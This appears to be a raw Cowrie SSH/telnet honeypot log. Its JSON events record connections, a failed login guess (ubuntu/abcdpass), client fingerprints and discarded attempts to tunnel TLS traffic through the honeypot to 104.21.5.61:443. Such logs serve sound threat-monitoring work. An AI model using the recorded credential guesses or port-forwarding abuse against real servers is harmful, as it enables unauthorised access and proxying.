{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc1\\x9d]\\xfa\\x8cNS\\xc2\\r}K\\xd5\\xd3oY\\xa7l\\x92\\xdb\\x0fx\\xac\\xccD>\\x8f\\xe0\\x0e;\\xde\\x83\\r \\xea\\x9f\\xa3\\\\j\\xc6\\x1cS\\xe4g\\xe4x;\\x101\\n\\x88\\x06B&k\\xfa^p\\x0b}\\xe0\\x15\\xea\\xe3\\xc0\\x08\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdeO\\x81 \\xe8\\xb3)\\xb5\\x1eQ\\x9a\\xfb*\\xf4G\\xa2I\\x04\\x0cm\\xda\\x01Xl\\xc8v\\xb7\\xc9\\x9b\\xc1\\xcfg\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc1\\x9d]\\xfa\\x8cNS\\xc2\\r}K\\xd5\\xd3oY\\xa7l\\x92\\xdb\\x0fx\\xac\\xccD>\\x8f\\xe0\\x0e;\\xde\\x83\\r \\xea\\x9f\\xa3\\\\j\\xc6\\x1cS\\xe4g\\xe4x;\\x101\\n\\x88\\x06B&k\\xfa^p\\x0b}\\xe0\\x15\\xea\\xe3\\xc0\\x08\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdeO\\x81 \\xe8\\xb3)\\xb5\\x1eQ\\x9a\\xfb*\\xf4G\\xa2I\\x04\\x0cm\\xda\\x01Xl\\xc8v\\xb7\\xc9\\x9b\\xc1\\xcfg\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:30.644132Z","src_ip":"173.208.188.210","session":"63c10d865255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcdpass","message":"login attempt [ubuntu/abcdpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:31.096187Z","src_ip":"91.92.40.36","session":"b08c185e79c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.64181470870972,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:31.247212Z","src_ip":"128.199.8.54","session":"efbaf5486b31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:33.317955Z","src_ip":"91.92.40.36","session":"b08c185e79c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64940,"dst_ip":"159.203.135.109","dst_port":22,"session":"f28e5355a976","protocol":"ssh","message":"New connection: 91.92.40.36:64940 (159.203.135.109:22) [session: f28e5355a976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:34.526420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:34.596073Z","src_ip":"91.92.40.36","session":"f28e5355a976","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:35.175390Z","session":"0e6148a1d1ee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:35.410219Z","src_ip":"123.27.168.40","session":"0e6148a1d1ee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xba\\xad\\xbb\\x15@\\x99\\x06\\xa5%\\x14\\xd8+\\nS\\x8d\\x19\\xb2%\\xbbN\\x1b\\xc7e\\x99\\xf8\\xd4\\x97\\t\\x1aF\\x08K \\xecJY\\x94J\\xd6\\xcfi\\xa2j9\\x1bF\\x99\\xce^m\\x02S\\x93\\xd7\\r\\xff\\x98|\\x9aAu\\xd9\\x95/|\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa6\\xd6\\x8a\\x95AWu\\xd6\\xe2-\\xdad\\x95C\\x92\\xed4\\xffB\\xec\\xf2i`\\xc9n:\\xb1h\\xeb\\xd6\\xb4\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xba\\xad\\xbb\\x15@\\x99\\x06\\xa5%\\x14\\xd8+\\nS\\x8d\\x19\\xb2%\\xbbN\\x1b\\xc7e\\x99\\xf8\\xd4\\x97\\t\\x1aF\\x08K \\xecJY\\x94J\\xd6\\xcfi\\xa2j9\\x1bF\\x99\\xce^m\\x02S\\x93\\xd7\\r\\xff\\x98|\\x9aAu\\xd9\\x95/|\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa6\\xd6\\x8a\\x95AWu\\xd6\\xe2-\\xdad\\x95C\\x92\\xed4\\xffB\\xec\\xf2i`\\xc9n:\\xb1h\\xeb\\xd6\\xb4\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:35.412864Z","src_ip":"123.27.168.40","session":"0e6148a1d1ee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:35.680404Z","session":"0e6148a1d1ee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:35.914253Z","src_ip":"123.27.168.40","session":"0e6148a1d1ee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f\\xe24d\\xc44\\x9b(\\xc9\\xb2\\x8e\\x90\\xc6]\\xc8K*A\\x19\\xaf\\x91\\x812A\\'\\x03\\xa9p\\xcd|<\\xd0 \\xfb\\xf4\\xff!\\xa3\\xe0\\x87_\\x86\\xb1\\xb96\\xd7\\x9dnEywh]\\xc3\\r6\\xcc\\xadJ\\xd9\\xac9\\xe5M\\xa0\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 UN\\xfc\\xd0\\x01\\x8f\\xb2\\xf8\\x0ev\\x14\\xd0\\xe6\\x18\\xb3<\\xee\\xc8\\xff\\xe1\\x84OD\\x1b\\xae\\x91\\x86<F\\xb4m\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f\\xe24d\\xc44\\x9b(\\xc9\\xb2\\x8e\\x90\\xc6]\\xc8K*A\\x19\\xaf\\x91\\x812A\\'\\x03\\xa9p\\xcd|<\\xd0 \\xfb\\xf4\\xff!\\xa3\\xe0\\x87_\\x86\\xb1\\xb96\\xd7\\x9dnEywh]\\xc3\\r6\\xcc\\xadJ\\xd9\\xac9\\xe5M\\xa0\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 UN\\xfc\\xd0\\x01\\x8f\\xb2\\xf8\\x0ev\\x14\\xd0\\xe6\\x18\\xb3<\\xee\\xc8\\xff\\xe1\\x84OD\\x1b\\xae\\x91\\x86<F\\xb4m\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:35.917224Z","src_ip":"123.27.168.40","session":"0e6148a1d1ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:36.772112Z","src_ip":"91.92.40.36","session":"f28e5355a976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:37.471888Z","src_ip":"123.27.168.40","session":"0e6148a1d1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.3","message":"Connection lost after 24.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:39.701820Z","src_ip":"173.208.188.210","session":"63c10d865255","protocol":"ssh"}
